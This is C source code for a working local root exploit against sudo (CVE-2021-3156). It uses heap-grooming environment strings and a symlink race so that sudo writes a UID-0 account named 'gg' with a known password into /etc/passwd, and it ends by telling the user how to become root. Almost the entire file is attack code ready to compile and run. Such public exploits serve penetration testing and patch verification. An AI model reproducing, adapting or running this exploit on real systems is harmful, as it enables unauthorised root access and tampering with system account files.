/*
Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya

This exploit requires:
- glibc with tcache
- at least 2 CPUs on target machine
- sudo version 1.8.x (1.9.x write size is fixed)

gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl

Tested on:
- Ubuntu 18.04
- Ubuntu 20.04
- Debian 10
- CentOS 8
- openSUSE 15.0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>
#include <dlfcn.h>
#include <sys/mman.h>

// default sleep time for raceing.
// sleep time is automatically adjusted while running
// this value can be replaced by argv[1]
#define DEFAULT_SLEEP_MS 4000

#define PASSWD_FILE "/etc/passwd"
#define BACKUP_FILE "/tmp/passwd.bak"

#define SUDO_PATH "/usr/bin/sudo"
// for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40
#define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go"

// user: gg, pass: gg
#define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash"

#define A8 "AAAAAAAA"
#define A10 A8 A8
#define A20 A10 A10
#define A40 A20 A20
#define A80 A40 A40
#define Ab0 A80 A20 A10
#define Ae0 A80 A40 A20
#define A200 A80 A80 A80 A80
#define A400 A200 A200
#define A800 A400 A400
#define A1000 A800 A800
#define A4000 A1000 A1000 A1000 A1000
#define A10000 A4000 A4000 A4000 A4000

#define CURDIR10 "././././././././././"
#define CURDIR20 CURDIR10 CURDIR10
#define CURDIR40 CURDIR20 CURDIR20
#define CURDIR100 CURDIR40 CURDIR40 CURDIR20

// don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging
static char *senv_nopack[] = {
	"1234567" // Intention: no comma
	// struct loaded_l10nfile
	"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\",   // chunk metadata
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
	A80 A20 A8 // Intention: no comma
	// struct loaded_l10nfile
	"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\",   // chunk metadata
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
	"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
	A20 A10 A8 "1234567\\",
	"",  // tsdir
	"\n" PASSWD_LINES "\n", 
	"LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345",
	"LANG=C",
	"TZ=:",
	A10000,
	NULL
};
// ubuntu based
static char *senv_langpack[] = {
	"1234567" A10 A8 "1234567\\",
	"", // tsdir
	"\n" PASSWD_LINES "\n", 
	"LC_MESSAGES=C.UTF-8@" A80 A20,
	"LANG=C",
	"TZ=:",
	A10000,
	NULL
};
// opensuse
static char *senv_bundle[] = {
	"123456\\",
	"", // tsdir
	"\n" PASSWD_LINES "\n", 
	"LC_MESSAGES=C.UTF-8@" A80 A20,
	"LANG=C",
	"TZ=:",
	// sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run.
	// set OPENSSL_ia32cap=0 to make predictable heap layout.
	"OPENSSL_ia32cap=0",
	A10000,
	NULL
};

static void backup_passwd()
{
	// backup
	if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) {
		printf("Cannot backup passwd file\n");
		exit(1);
	}
	if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) {
		printf("Cannot append gg user in backup passwd file\n");
		exit(1);
	}
}

static size_t get_passwd_size()
{
	struct stat st;
	stat(PASSWD_FILE, &st);
	return st.st_size;
}

static char* get_user() 
{
	struct passwd *pw;

	pw = getpwuid(getuid());
	if (!pw) {
		puts("Cannot get user name");
		exit(1);
	}

	return strdup(pw->pw_name);
}

static int find_mode()
{
	// find libc path
	Dl_info info;
	if (dladdr(exit, &info) == 0) {
		printf("Cannot find libc path\n");
		exit(1);
	}
	
	// map libc to memory
	struct stat st;
	int fd = open(info.dli_fname, O_RDONLY);
	if (fstat(fd, &st) != 0) {
		printf("Cannot load libc\n");
		exit(1);
	}
	void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);

	int mode = 1;
	// use 'e-langpa' in case of optimization
	if (memmem(addr, st.st_size, "e-langpa", 8) != 0) {
		mode = 2;
	}
	if (memmem(addr, st.st_size, "e-bundle", 8) != 0) {
		if (mode != 2) {
			printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n");
			exit(1);
		}
		mode = 3;
	}
	
	munmap(addr, st.st_size);
	close(fd);
	
	return mode;
}

const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_";

int main(int argc, char **argv)
{
	int sleep_us = DEFAULT_SLEEP_MS;
	if (argc > 1)
		sleep_us = atoi(argv[1]);
	size_t initial_size = get_passwd_size();
	
	backup_passwd();

	char realdir_name[2] = {0};
	char link_timestamp_file[128];
	char *user = get_user();

	int null_fd = open("/dev/null", O_RDWR);
	if (null_fd == -1) {
		perror("open");
		return 1;
	}

	char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL };

	char tsdir[0x100] = {0};
	strcpy(tsdir, CURDIR100);
	char *dir_ptr = tsdir + sizeof(CURDIR100) - 1;
	
	char **sudo_env;
	switch (find_mode()) {
		case 1:
			sudo_env = senv_nopack;
			sudo_env[79] = tsdir;
			break;
		case 2:
			sudo_env = senv_langpack;
			sudo_env[1] = tsdir;
			break;
		case 3:
			sudo_env = senv_bundle;
			sudo_env[1] = tsdir;
			sudo_argv[3] = A40 "\\";
			break;
		default:
			exit(1);
	}

	mkdir(WORKING_DIR, 0750);
	if (chdir(WORKING_DIR) != 0) {
		perror("chdir");
		return 1;
	}

	const char *curr_dir = alnum;
	sprintf(link_timestamp_file, "%c/%s", *curr_dir, user);
	
	int success = 0;
	struct stat st;
	mode_t old_mask = umask(0);
	for (int i = 0; i < 1000; ++i) {
		*dir_ptr = *curr_dir;
		realdir_name[0] = *curr_dir;
		link_timestamp_file[0] = *curr_dir;

		int pid = fork();
		if (!pid) {
			execve(SUDO_PATH, sudo_argv, sudo_env);
			exit(0);
		}
		
		usleep(sleep_us);
		
		if (mkdir(realdir_name, 0777) == -1) {
			perror("mkdir");
		}
		else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) {
			perror("symlink");
		}
		else {
			// all success. sudo will unlink it one time
			for (int j = 0; j < 5000; j++) {
				if (symlink(PASSWD_FILE, link_timestamp_file) == 0) {
					// success again
					printf("symlink 2nd time success at: %d\n", j);
					break;
				}
			}
		}
		waitpid(pid, 0, 0);

		if (get_passwd_size() != initial_size) {
			printf("[+] Success with %d attempts!\n", i);
			printf("succes with sleep time %d us\n", sleep_us);
			success = 1;
			break;
		}
		
		if (lstat(link_timestamp_file, &st) == 0) {
			if (S_ISLNK(st.st_mode)) {
				// symbolic link. create dir is too early
				printf("Failed. can cleanup\n");
				sleep_us += 100;
			}
			else {
				// failed to create 2nd symbolic link
				printf("Failed to create 2nd symbolic\n");
			}
			
			// cleanup and reuse dir
			if (unlink(link_timestamp_file) == 0) {
				rmdir(realdir_name);
			} else {
				// should never happen
				printf("Cannot remove symbolic link !!!\n");
				exit(0);
			}
		}
		else {
			// sudo create a directory before us. cannot reuse this dir
			curr_dir++;
			if (*curr_dir == '\0') {
				printf("out of dir name\n");
				exit(1);
			}
			printf("change dir to: %c\n", *curr_dir);
			// decrease sleep time
			if (sleep_us > 0)
				sleep_us -= 100;
		}
	}
	
	if (!success) {
		printf("exploit failed\n");
		return 1;
	}

	umask(old_mask);

	// restore /etc/passwd with an extra line. cleanup WORKING_DIR.
	chdir("/");
	system("echo gg | su -c \"cp "BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg ");
	unlink(BACKUP_FILE);
	
	printf("now can use \"su - gg\" with 'gg' password to become root\n");
	
	return 0;
}
